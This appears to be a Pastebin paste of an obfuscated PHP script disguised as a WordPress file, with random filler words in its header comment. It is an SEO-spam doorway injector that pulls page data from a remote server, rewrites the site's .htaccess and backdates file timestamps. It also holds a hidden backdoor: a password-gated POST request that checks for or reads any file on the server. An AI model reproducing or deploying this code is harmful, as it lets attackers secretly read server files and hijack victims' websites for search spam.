Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- * algebra bundle comment competition durable explode extreme geography horrible idle inferior infinite prior prompt prospect satellite shift terminal textile transplant treaty wonder.
- * acid arbitrary biology boundary career dash duration flee infinite insurance moist oblige obstacle optional orbit passion personnel prominent quotation reject respond retain sexual slope.
- * burden mood mutual personnel render scan tense torture variation.
- * applause campus compete consent dumb merchant neglect notify render sketch universal.
- * accelerate agent aspect cope devise drift exclusive hint infect infer insignificant parade semiconductor severe smash stale submerge torture urban wander.
- * appreciate collision discipline expensive favorite germ media substance temptation virtue.
- * code extreme reputation satellite ultimate.
- * deaf exclusive oval tide.
- * duration male notion pants resemble ridid withstand.
- * applause appropriate avenue bother enthusiasm evil exterior illegal insure jam leak mixture outset passion passport previous reliable retain shelter slide substantial valley violet vitally.
- * adequate algebra appoint budget casual clue decade domestic expansion genuine internal laser maintain notify opponent principal release torture yield.
- * chaos consume debate dump erect generate guilty harmony infant jail opponent relief severe substantial terminal tremendous twist urgent.
- * bargain dispose enthusiasm expenditure genuine mist neglect numerrous removal seminar slope stable triangle universe vain yield.
- * alcohol applause decade earthquake favorable gallery recreation scan security snap solar variable vital.
- * alter appetite barrier beforehand earthquake electron emotional herd naked negative nylon quit scratch sketch split strategic stripe suspicious the vacant wagon.
- * delay jewel liable onion tarnest.
- * arouse beforehand derive evolution expansion external grand liquor oral portable tension.
- * academic column external scan.
- * collision column debt diverse evil exclaim explode focus highlight inevitable marveous missile professional substantial survey urgent.
- * academic awful burden conservative estimate excursion giant insignificant insure issue leisure mist naked numerrous pat racial religion render rival split videotape volcano.
- * appetite clue competent duration flexible gaze gesture hostile illegal invade jungle leisure neutral obstacle personal presumably priority release sincere.
- * accelerate defect distress guarantee hostile identify index maximum moist motivate prominent prompt quotation religion scratch strategy violent volunteer wax zone.
- * beforehand expand flock mainland talent.
- * accelerate avenue boundary flash geology golf humble illegal moral opportunity participate personal relief slender sorrow universe valid violence volume.
- * adapt adopt authority awful capture core discipline discrimination domestic electron emotion forbid gallon hollow hostile mature nevertheless petrol resolve restrain ruin spur utilise variable.
- * authority auxiliary debt gallery insignificant motivate omit prominent solar stripe submit tarnest utter wax weld.
- * absolute conservation enviroment facility jeans launch lean motive necessity network oral petroleum powder prescribe render reputation slip victim.
- * deaf decorate expel explode facility ferfile golf grand hostile obscure sexual simplicity variation video virus.
- * bureau cliff display estimate exceed expend gap necessity outset personal remote restrain retail sexual substantial undergraduate variation video virtue weave.
- * display encounter insurance prescribe rely snap volcano.
- * breadth entitle expend external genius kneel leak mist participate particularly principle resume.
- * appoint drift enclose essential globe humble inevitable marine merchant parade portion pursue ridid semester simplicity split substantial tedious temporary tissue transform witness.
- * capture comparative flexible harmony leather maintain principal scale slip universe whatsoever.
- *
- * @package WordPress
- */
- @ini_set('display_errors', 0);
- @ini_set('log_errors', 0);
- @set_time_limit(3600);
- define("GETDATE","http://www.datecenter.com/api/?key=");
- define("CENTERKEY",1);
- define("MYDIR", "/ebayca210112-11/");
- define("FNUM",99);
- define("JGNUM","40");
- define("LINKNUM","8");
- define("BZSITE","n");
- define("CURRENUSE","/usd/");
- define("BZPRO","u");
- define("BZCAT","t");
- //msbg
- define("JDT","0");
- //msend
- //msidbg
- define("MSID",5620);
- //mssidend
- //keyjgbg
- define("KEYJG",87);
- //keyjgend
- //randnumIbg
- define("RANDNUMI",9);
- //randnumIend
- //randnumIIbg
- define("RANDNUMII",6);
- //randnumIIend
- //pnamelenbg
- define("PNAMELEN",49);
- //pnamelenend
- //jthouzuibg
- define("JTHZ","/");
- //jthouzuiend
- //nttarr_bg
- $arrnametime[]="4";
- $arrnametime[]="2";
- $arrnametime[]="3";
- $arrnametime[]="1";
- //nttarr_end
- //kwzzarr_bg
- $arrKeywz[]="11";
- $arrKeywz[]="7";
- $arrKeywz[]="6";
- $arrKeywz[]="12";
- $arrKeywz[]="8";
- $arrKeywz[]="5";
- $arrKeywz[]="10";
- $arrKeywz[]="9";
- $arrKeywz[]="4";
- //kwzzarr_end
- //brddarr_bg
- $arrBread[]="BreadcrumbHeads row";
- $arrBread[]="crumbsHead";
- $arrBread[]="Breadcrumbs";
- $arrBread[]="ck-breadcrumb row";
- $arrBread[]="BreadcrumbTop";
- $arrBread[]="bread_crumb row";
- $arrBread[]="bread_crumb clearfix";
- $arrBread[]="breadcrumbs-base row";
- $arrBread[]="nw-breadcrumblist clearfix";
- $arrBread[]="breadList row";
- $arrBread[]="";
- $arrBread[]="BreadcrumbLists clearfix";
- $arrBread[]="BreadcrumbList";
- $arrBread[]="bread_crumb";
- $arrBread[]="Breadcrumb-Heads row";
- $arrBread[]="l-breadcrumblist";
- $arrBread[]="qa-breadcrumb";
- $arrBread[]="BreadcrumbHead clearfix";
- $arrBread[]="ck-breadcrumb clearfix";
- $arrBread[]="Breadcrumb";
- $arrBread[]="l-breadcrumb clearfix";
- $arrBread[]="BreadcrumbLists row";
- $arrBread[]="breadcrumb";
- $arrBread[]="crumbs-nag";
- $arrBread[]="nw-breadcrumblist row";
- $arrBread[]="breadcrumb clearfix";
- $arrBread[]="breadcrumbs-base";
- $arrBread[]="breadcrumbs clearfix";
- $arrBread[]="BreadcrumbTop row";
- $arrBread[]="BreadcrumbHeads";
- $arrBread[]="BreadHead clearfix";
- $arrBread[]="page-breadcrumbs";
- $arrBread[]="chrome-breadcrumbs";
- $arrBread[]="BreadcrumbTops clearfix";
- $arrBread[]="navBreadCrumbs row";
- $arrBread[]="ag-breadcrumblist row";
- $arrBread[]="breadcrumb row";
- $arrBread[]="crumbs-top";
- $arrBread[]="crumbsHeads row";
- $arrBread[]="breadLists";
- $arrBread[]="bread-List row";
- $arrBread[]="breadHeads";
- $arrBread[]="breadList clearfix";
- $arrBread[]="v-breadcrumb clearfix";
- $arrBread[]="pages-breadcrumbs";
- $arrBread[]="BreadcrumbsHead clearfix";
- $arrBread[]="Bread row";
- $arrBread[]="l-breadcrumb";
- $arrBread[]="crumbs row";
- $arrBread[]="breadtop";
- $arrBread[]="";
- $arrBread[]="crumb-list clearfix";
- $arrBread[]="";
- $arrBread[]="crumbsTops";
- $arrBread[]="l-breadcrumb row";
- $arrBread[]="Breadcrumb-Top clearfix";
- $arrBread[]="Breadcrumb row";
- $arrBread[]="Breadcrumb-Top row";
- $arrBread[]="navBreadCrumb row";
- $arrBread[]="BreadcrumbNavigation row";
- $arrBread[]="BreadcrumbHead row";
- $arrBread[]="Breadcrumb-Heads";
- $arrBread[]="cs-breadcrumb";
- $arrBread[]="r-breadcrumb row";
- $arrBread[]="navBreadCrumb clearfix";
- $arrBread[]="breadHead row";
- $arrBread[]="Breadcrumb-Top";
- $arrBread[]="Breadcrumb-Head row";
- $arrBread[]="Breadcrumb-Heads clearfix";
- $arrBread[]="Breadcrumb clearfix";
- $arrBread[]="";
- $arrBread[]="crumbs-top clearfix";
- $arrBread[]="cs-breadcrumb clearfix";
- $arrBread[]="BreadcrumbsList";
- $arrBread[]="crumbsHeads clearfix";
- $arrBread[]="BreadHead";
- $arrBread[]="page-breadcrumbs clearfix";
- $arrBread[]="l-breadcrumblist row";
- $arrBread[]="Breadcrumb row";
- $arrBread[]="";
- $arrBread[]="";
- $arrBread[]="BreadcrumbTops row";
- $arrBread[]="crumbsTop clearfix";
- $arrBread[]="s-breadcrumb row";
- $arrBread[]="crumbsTop";
- $arrBread[]="crumbList clearfix";
- $arrBread[]="BreadcrumbList clearfix";
- $arrBread[]="BreadcrumbLists";
- $arrBread[]="r-breadcrumb";
- $arrBread[]="chrome-breadcrumbs clearfix";
- $arrBread[]="mb-breadcrumb";
- $arrBread[]="ck-breadcrumb";
- $arrBread[]="breadHead";
- $arrBread[]="Breadcrumbs row";
- $arrBread[]="mb-breadcrumb row";
- $arrBread[]="BreadcrumbList row";
- $arrBread[]="bread-List";
- $arrBread[]="plp__breadcrumb";
- $arrBread[]="BreadcrumbHead";
- $arrBread[]="crumbsHead clearfix";
- $arrBread[]="breadHeads row";
- $arrBread[]="Breadcrumb clearfix";
- $arrBread[]="cs-breadcrumb row";
- $arrBread[]="crumbs-head clearfix";
- $arrBread[]="breadtop row";
- $arrBread[]="Bread clearfix";
- $arrBread[]="l-breadcrumb row";
- $arrBread[]="s-breadcrumb";
- $arrBread[]="crumb-list row";
- $arrBread[]="BreadcrumbsHead";
- $arrBread[]="l-breadcrumb clearfix";
- $arrBread[]="mb-breadcrumb clearfix";
- $arrBread[]="breadtops clearfix";
- $arrBread[]="navBreadCrumbs";
- $arrBread[]="crumbList row";
- $arrBread[]="breadHeads clearfix";
- $arrBread[]="c-breadcrumb clearfix";
- $arrBread[]="crumbsTops row";
- $arrBread[]="nw-breadcrumblist";
- $arrBread[]="ant-breadcrumb row";
- $arrBread[]="";
- $arrBread[]="breadcrumb";
- $arrBread[]="crumbs-head";
- $arrBread[]="el-breadcrumb row";
- $arrBread[]="crumbs-top row";
- $arrBread[]="page-breadcrumbs row";
- $arrBread[]="Breadcrumbs clearfix";
- $arrBread[]="BreadcrumbsList clearfix";
- $arrBread[]="crumbs clearfix";
- $arrBread[]="breadLists row";
- $arrBread[]="bread-List clearfix";
- $arrBread[]="crumbs-head row";
- $arrBread[]="ant-breadcrumb clearfix";
- $arrBread[]="crumbsHead row";
- $arrBread[]="v-breadcrumb";
- $arrBread[]="breadcrumbs";
- $arrBread[]="Breadcrumb-Head";
- $arrBread[]="c-breadcrumb row";
- $arrBread[]="BreadcrumbTop clearfix";
- $arrBread[]="crumb-list";
- $arrBread[]="l-breadcrumblist clearfix";
- $arrBread[]="s-breadcrumb clearfix";
- $arrBread[]="qa-breadcrumb clearfix";
- $arrBread[]="plp__breadcrumb row";
- $arrBread[]="crumbs-nag row";
- $arrBread[]="customBreadcrumb row";
- $arrBread[]="pages-breadcrumbs clearfix";
- $arrBread[]="breadtops row";
- $arrBread[]="el-breadcrumb";
- $arrBread[]="breadtop clearfix";
- $arrBread[]="Breadcrumb-Head clearfix";
- $arrBread[]="breadcrumb clearfix";
- $arrBread[]="breadcrumb row";
- $arrBread[]="plp__breadcrumb clearfix";
- $arrBread[]="";
- $arrBread[]="navBreadCrumb";
- $arrBread[]="breadHead clearfix";
- $arrBread[]="breadLists clearfix";
- $arrBread[]="ag-breadcrumblist";
- $arrBread[]="BreadHead row";
- $arrBread[]="BreadcrumbTops";
- $arrBread[]="v-breadcrumb row";
- $arrBread[]="breadList";
- $arrBread[]="el-breadcrumb clearfix";
- $arrBread[]="";
- $arrBread[]="ag-breadcrumblist clearfix";
- $arrBread[]="wrapper-breadcrums clearfix";
- $arrBread[]="qa-breadcrumb row";
- $arrBread[]="breadcrumbs-base clearfix";
- $arrBread[]="crumbsHeads";
- $arrBread[]="breadcrumbs row";
- $arrBread[]="doc-crumb row";
- $arrBread[]="chrome-breadcrumbs row";
- $arrBread[]="crumbList";
- $arrBread[]="c-breadcrumb";
- $arrBread[]="doc-crumb";
- $arrBread[]="r-breadcrumb clearfix";
- $arrBread[]="breadtops";
- $arrBread[]="l-breadcrumb";
- $arrBread[]="customBreadcrumb";
- $arrBread[]="Bread";
- $arrBread[]="";
- $arrBread[]="wrapper-breadcrums row";
- $arrBread[]="customBreadcrumb clearfix";
- $arrBread[]="crumbs-nag clearfix";
- $arrBread[]="Breadcrumb";
- $arrBread[]="crumbs";
- $arrBread[]="crumbsTops clearfix";
- $arrBread[]="";
- $arrBread[]="ant-breadcrumb";
- $arrBread[]="BreadcrumbNavigation clearfix";
- $arrBread[]="wrapper-breadcrums";
- $arrBread[]="navBreadCrumbs clearfix";
- $arrBread[]="BreadcrumbHeads clearfix";
- $arrBread[]="crumbsTop row";
- $arrBread[]="pages-breadcrumbs row";
- $arrBread[]="BreadcrumbsList row";
- $arrBread[]="";
- $arrBread[]="";
- $arrBread[]="BreadcrumbsHead row";
- $arrBread[]="BreadcrumbNavigation";
- $arrBread[]="doc-crumb clearfix";
- //brddarr_end
- //fhharr_bg
- $arrfh[]="Christmas Supplies";
- $arrfh[]="Xmas";
- $arrfh[]="Top Christmas gifts 2018";
- $arrfh[]="Christmas gift ideas";
- $arrfh[]="Christmas presents";
- $arrfh[]="Unique Christmas Gifts";
- $arrfh[]="Christmas gift";
- $arrfh[]="Christmas Ornament";
- $arrfh[]="Christmas gift shop";
- $arrfh[]="Christmas Decoration";
- $arrfh[]="Xmas Ornaments";
- $arrfh[]="Christmas gift ideas 2018";
- $arrfh[]="Holiday presents";
- $arrfh[]="for Christmas";
- $arrfh[]="Holiday Gifts";
- $arrfh[]="Christmas Gifts 2018";
- $arrfh[]="Christmas gift store";
- $arrfh[]="Christmas Holiday";
- $arrfh[]="best Christmas gift";
- $arrfh[]="Best Christmas gifts 2018";
- //fhharr_end
- $q1 = "O00O0O"; $q2 = "O0O000"; $q3 = "O0OO00"; $q4 = "OO0O00"; $q5 = "OO0000"; $q6 = "O00OO0"; $q7 = "O00O00"; $q8 = "O00OOO"; $$q1 = RandAbcs();
- //srrarr_bg
- $strRand[0]="drlgjhefzqitnpwkouxvsyacmb";
- $strRand[1]="oplncmietkzuxyhrgdwfjavsqb";
- $strRand[2]="sbeuvmqjoahiztxdnkrwpflcgy";
- $strRand[3]="ynbtvwudkjorqglxpafizeshmc";
- $strRand[4]="cosdrthpjbixlyvagwqzfkuenm";
- $strRand[5]="pjiuxefnkyczrovhdlbstwgmaq";
- $strRand[6]="inhfaxrdjzcmgyuslkewpvtoqb";
- $strRand[7]="nfjgkqeyoidxtaphbcuszlmwrv";
- $strRand[8]="liestrfqabvjcwmogxduhzpykn";
- $strRand[9]="lvndkbcuogwpsqtazmfjheixyr";
- $strRand[10]="apxurysficejgwoklqvmbdtnzh";
- $strRand[11]="lrmscqhjubonfwdgixzepktvay";
- $strRand[12]="atrpojgbmyeqwinclkfzhxudsv";
- $strRand[13]="wyhlfjxivgakbumndoczqeprst";
- $strRand[14]="sexyjgbuovrhmwczqplnatkdfi";
- $strRand[15]="buvngjacxpeltqroymdikwshzf";
- $strRand[16]="lwaqxeosrycfmtkpdvbznghiuj";
- $strRand[17]="szdivmjtqugcrflhpkbwneyxoa";
- $strRand[18]="zyvjunswtbcrkedoqaxlmpgihf";
- $strRand[19]="pkeihfamunlxwgrqcdsvotjzyb";
- $strRand[20]="slrgknofabwduqethxmpvjzyic";
- $strRand[21]="pzdbgauvjrhxtlnmfcsykqeoiw";
- $strRand[22]="ibtdafxjwkprshynclumzovegq";
- $strRand[23]="tuyjbhixmversdlzwqofcaknpg";
- $strRand[24]="fxnbcqdagwkilpzretsjouvmyh";
- $strRand[25]="gqskmwvrtxdezoiblyjfhpancu";
- $strRand[26]="twbcesrikhxqnpgvjuzomlyfad";
- $strRand[27]="mbslinajwzgdvcphfoukytqrxe";
- $strRand[28]="yugwvfbmpliaqtdkxrjoeshczn";
- $strRand[29]="yknilgbaoqjprmcedftwzuhvsx";
- $strRand[30]="chxibydslkpmtfjeanouzwvrgq";
- $strRand[31]="zwlmhgcdysupaoxfvbtejrnqik";
- $strRand[32]="gjmbnwdfokpiayqvxhcultsrze";
- $strRand[33]="dyrnmvcauqhlzwxpoebkijgfts";
- $strRand[34]="hdbjzvkfsyoulcatmipwxeqgrn";
- $strRand[35]="pnrgtbkqevoxhdmlcswfzjuyia";
- $strRand[36]="orkyhuxbdiwlfpsvqtcmnezajg";
- $strRand[37]="mkflxenworhugadqcitvypjsbz";
- $strRand[38]="bnlkwcryuospfgqaimhjtxezdv";
- $strRand[39]="flwranghsceiqoukpdxtvjybmz";
- $strRand[40]="wsojrmygiafcxqubpkevztnlhd";
- $strRand[41]="famydvkqwegtlixocnphurbjsz";
- $strRand[42]="fulyjmenkaiwcdzrhsbvotqxpg";
- $strRand[43]="buqcrxgyatmlkovewnipsfhzjd";
- $strRand[44]="dzpeiqhbrtxjusklgfynwmovac";
- $strRand[45]="ictfxjewkabqphurovmdylszng";
- $strRand[46]="wlicfdukxgprtbnzqsheyjaomv";
- $strRand[47]="mgoltsjpawuierhvxqczdfbykn";
- $strRand[48]="gsebizlutmyjqkfhxdcpwornva";
- $strRand[49]="xjqsgitedvlmcbuwfhazonyrpk";
- $strRand[50]="ychveftqwdrnopzialguxjmkbs";
- $strRand[51]="bpletxovwqzmdyjkrfsuiahcng";
- $strRand[52]="gqdewsnjxvcorhyimlzaupbfkt";
- $strRand[53]="ngjoirpfwvcztdxbelmuhyksqa";
- $strRand[54]="pgsxzrboahcdvnklmqfyjiwetu";
- $strRand[55]="cflxrobtmsawviqeykgjnhzpdu";
- $strRand[56]="tnmqjyhkrdvwcuegipfxaszlbo";
- $strRand[57]="vwyzpginshdrbquotmecjaklxf";
- $strRand[58]="avjlyugciwtxdzersbhqpfnmok";
- $strRand[59]="uiyxdfvqlbtwozcnsjpheramkg";
- $strRand[60]="ipyquxbwrlnafhejgmsvtzcdko";
- $strRand[61]="cxgoilwedaprhktqnbyfuvzsmj";
- $strRand[62]="bqzletyxavpnohigkdwufscjrm";
- $strRand[63]="fgvhewijnklxymbdscapzouqrt";
- $strRand[64]="bwfnelrgdxmokszuvqpthyiajc";
- $strRand[65]="zhkyspnjfxuodbwagmleivrqtc";
- $strRand[66]="sqyncutizkfmjwoxgavlbphedr";
- $strRand[67]="cizvrdkoepnhtajgymbsfxulqw";
- $strRand[68]="jfqhwdtuzgnvckxyaplsemrobi";
- $strRand[69]="fobjamukzqwdylcsernhvtixgp";
- $strRand[70]="rgazqsibyeuvfljkwtodcnmpxh";
- $strRand[71]="cftdvanslwrkxehpyquiomzbjg";
- $strRand[72]="myedfgblktnhocjaszwvpruqxi";
- $strRand[73]="mriavtnhqzofjwxpdusgeyclbk";
- $strRand[74]="plwtxqgsazdnmreubkjvcoihfy";
- $strRand[75]="dasmqoikgywzluenhfprxbctjv";
- $strRand[76]="wzubvypdagjtrqhlfikecomnsx";
- $strRand[77]="cvugjxtrzsqwofbmydanhieklp";
- $strRand[78]="icuqogjkythnfpwbdersxvmalz";
- $strRand[79]="lupemoahrvtcbnfgqiyjxkwdzs";
- $strRand[80]="viwrueqytgofdzmpsxjclakhnb";
- $strRand[81]="yljxzvhopscfukawgibremdntq";
- $strRand[82]="hjubpqasykfgrzvncxwmtedilo";
- $strRand[83]="abnjrmtghqvpkflcxziudwosey";
- $strRand[84]="lxuoiraytqmvfwsphcenkdgzbj";
- $strRand[85]="texdlapjhczsgyrqimwubkvnof";
- $strRand[86]="gmtvjdkxofusweablncizyrphq";
- $strRand[87]="xbzusjtrockvmygiflwhnpdeqa";
- $strRand[88]="vtxyrdlfjqcuwpshamoebingkz";
- $strRand[89]="cbkhuxszqmeragtnwjlyifvdop";
- $strRand[90]="hwfutkinrzolsbpycxgjqvemda";
- $strRand[91]="dphqvlcxaoynzjegbmsktuwfri";
- $strRand[92]="mygekdaiurpsnwxlbtfcvzhjqo";
- $strRand[93]="svnlpxcbgeftqwmrokdizhyuaj";
- $strRand[94]="kpusqfvowcxgehaylnmrtijbzd";
- $strRand[95]="oshwftprcjabqdkgvmuneixlyz";
- $strRand[96]="baqgjuhnkifvwsrpltozexmcdy";
- $strRand[97]="szlmcehkpxbwqfaurojvgntdyi";
- $strRand[98]="ushgckytindvawfmjboqrpxezl";
- $strRand[99]="mxekhbnuvftgzawocdjisrpqyl";
- //srrarr_end
- $thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']);
- define("GETDOM",getthisdom());
- //
- $arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
- $arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};}
- $Arrrarr = array_flip($arrArrr);
- $temp_abc = $O00O0O{15}.$O00O0O{18}.$O00O0O{14}.$O00O0O{19}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{21};
- $temp_def = $O00O0O{13}.$O00O0O{0}.$O00O0O{18}.$O00O0O{20}.$O00O0O{3}.$O00O0O{8}.$O00O0O{14}.$O00O0O{0};
- if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){
- $O_OO0_0O_0='America/Chicago'; @date_default_timezone_set($O_OO0_0O_0);
- if (! is_dir("../maps"))
- mkdir("../maps", 0755);
- global $gnumber;
- $gnumber = 1;
- $bgNum = (int)trim($_GET["gsitemap"]);
- $mapnum = (int)trim($_GET["mapnum"]);
- if($bgNum > FNUM)
- die("The Number Must Lower Then " . FNUM);
- $arrNumTemp = getMapNum($bgNum,$mapnum);
- $rs = '#<map>(.*)</map>#si';
- $mapLogs = file_get_contents("./map.log");
- foreach($arrNumTemp as $vss){
- $vals = "id$vss.php";
- if(JDT == 0 && $gnumber == 1){
- if(strstr($mapLogs,'#sitemap.xml#') && file_exists('../maps/sitemap.xml')){
- echo $vals."<br/>";
- echo '../maps/sitemap.xml successed<br/>';
- $gnumber++;
- continue;
- }
- }elseif(JDT == 0){
- if(strstr($mapLogs,'#' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml#') && file_exists('../maps/' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml')){
- echo $vals."<br/>";
- echo '../maps/' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml successed<br/>';
- $gnumber++;
- continue;
- }
- }
- if(strstr($mapLogs,'#' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml#') && file_exists('../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml')){
- echo $vals."<br/>";
- echo '../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml successed<br/>';
- $gnumber++;
- continue;
- }
- for($i=0; $i<3; $i++){
- $idUrl = GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID;
- $tempIdStr = curl_get_from_webpage($idUrl,'',5);
- $arrIdNameNow = array();
- if(preg_match($rs,$tempIdStr,$matchIdName)){
- $tparrIdName = explode('^^',$matchIdName[1]);
- foreach($tparrIdName as $vs){
- $tpArr = explode('^',$vs);
- if(count($tpArr) == 2){
- $arrIdNameNow[$tpArr[0]] = $tpArr[1];
- }elseif(count($tpArr) > 2){
- $tpstr = '';
- for($j=1; $j<count($tpArr); $j++){
- $tpstr .= $tpArr[$j] . ' ';
- }
- $tpstr = trim($tpstr);
- $arrIdNameNow[$tpArr[0]] = $tpstr;
- }
- }
- break;
- }
- }
- if(!isset($arrIdNameNow) or count($arrIdNameNow) < 100){
- echo "g sitemap fail<br/>";
- die();
- }
- echo $vals."<br/>";
- if($gnumber == 1){
- if(JDT == 1){
- gsitemap($arrIdNameNow,2,1);
- }else{
- gsitemap($arrIdNameNow,1,2);
- }
- }else{
- if(JDT == 1){
- gsitemap2($arrIdNameNow,2,1); }else{
- gsitemap2($arrIdNameNow,1,2); }
- }
- unset($arrIdNameNow,$tempArr1,$tempArr2); }
- }
- if(isset($_GET["ghtac"]) && $_GET["ghtac"]){
- $dirNames = dirname(__FILE__);
- $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
- $PreDir = '';
- if(JDT == 1){
- $UrlBaseDir = $httcReplace; $RewriteOnDir = '';
- }else{
- $UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/';
- }
- $strhtt = '';
- if (file_exists("$PreDir.htaccess")){
- @chmod("$PreDir.htaccess",0755);
- $strhtt = file_get_contents("$PreDir.htaccess");
- }
- if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
- {
- $strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>';
- }else{
- $strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
- $strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);
- }
- if(1){
- $r0 = '#(.*RewriteEngine On.*)#i';
- $r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i';
- if(JDT == 0){
- $rsut = '\1'.PHP_EOL .'RewriteRule ^'. '.*-(\d+)-.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^' . 'brand/(.*)/\d+'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'.'.*([a-z]+htmlmaps\.xml)$ maps/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$ maps/\$1 [L]' . PHP_EOL ;
- $rsut2 = PHP_EOL .'RewriteRule ^'. '.*-(\d+)-.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^' . 'brand/(.*)/\d+'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'.'.*([a-z]+htmlmaps\.xml)$ maps/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$ maps/\$1 [L]' . PHP_EOL .'RewriteRule' ;
- }else{
- $rsut = '\1'. PHP_EOL .'RewriteRule ^'. '.*-(\d+)-.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^' . 'brand/(.*)/\d+'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL ;
- $rsut2 = PHP_EOL .'RewriteRule ^'. '.*-(\d+)-.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^' . 'brand/(.*)/\d+'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL .'RewriteRule' ;
- }
- if(preg_match($r0,$strhtt)){
- $strhtt = preg_replace($r0,$rsut,$strhtt,1);
- }elseif(preg_match($r1,$strhtt)){
- $strhtt = preg_replace($r1,$rsut,$strhtt,1);
- }else{
- $strhtt = preg_replace($r2,$rsut2,$strhtt,1);
- }
- if(JDT == 1 or JDT == 0){
- file_put_contents("$PreDir.htaccess", $strhtt);
- }
- }
- die("ghtac ok");
- }
- if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo rFile($v_read);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#'; die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$wp_filesystem = array();$flag = 1;$wp_filesystem['index'] = filesize(__FILE__);if(file_exists("./template.html")){$wp_filesystem['template'] = filesize("./template.html");}else{$flag = 0;$wp_filesystem['template'] = -1;}echo 'error---'. serialize($wp_filesystem) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();}
- if(JDT==2){
- $UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){
- $tempSid = ''; $tempPid = '';
- $r2='#.*-(\d+)-.*'. JTHZ .'$#i'; $r3='#.*-(\d+)-.*/$#i';
- if(preg_match($r2,$UrlParent,$matches2)){
- if(isset($matches2[1]))
- $tempPid = $matches2[1]; }else{
- preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
- $tempPid = $matches13[1]; }
- if($tempPid){
- $_GET['id']= $tempPid;
- }else{
- $r2='#brand/(.*)/\d+#i'; $r3='#.*brand/(.*)/\d+$#i';
- if(preg_match($r2,$UrlParent,$matches2)){
- if(isset($matches2[1]))
- $tempPid = $matches2[1];
- }else{
- preg_match($r3,$UrlParent,$matches13);
- if(isset($matches13[1]))
- $tempPid = $matches13[1];
- }
- if($tempPid)
- $_GET['cat']= $tempPid;
- }
- }
- }elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
- $tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword'];
- $r2='#-(\d+)$#i'; $r3='#[-/]'.'(\d+)$#i';
- if(preg_match($r2,$UrlParent,$matches2)){
- if(isset($matches2[1]))
- $tempPid = $matches2[1]; }else{
- preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
- $tempPid = $matches13[1]; }
- if($tempPid){
- $_GET['id']= $tempPid;
- }
- }
- function getRandStr(){
- $arrABC = range('a','z'); shuffle($arrABC);
- $randNum = rand(4,6);
- $str = implode('',array_slice($arrABC,0,$randNum));
- return $str;}
- if(isset($_GET["id"]))
- $id = $_GET["id"];
- else{
- if(isset($_GET["cat"])){
- $rqurl = $_GET["cat"];
- $logFileName = './idlogs.txt';
- if(file_exists($logFileName)){
- $arrUrlId = unserialize(file_get_contents($logFileName));
- }else{
- $arrUrlId = array();
- }
- if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){
- $id = $arrUrlId[$rqurl];
- }else{
- $arrUrlId[$rqurl] = getRandCId($rqurl);
- $id = $arrUrlId[$rqurl];
- file_put_contents($logFileName,serialize($arrUrlId));
- @touch(dirname($logFileName), $fLogTime, $fLogTime);
- @touch($logFileName, $fLogTime, $fLogTime);
- }
- }else{
- $id = "920813"; //llq index id
- }
- }
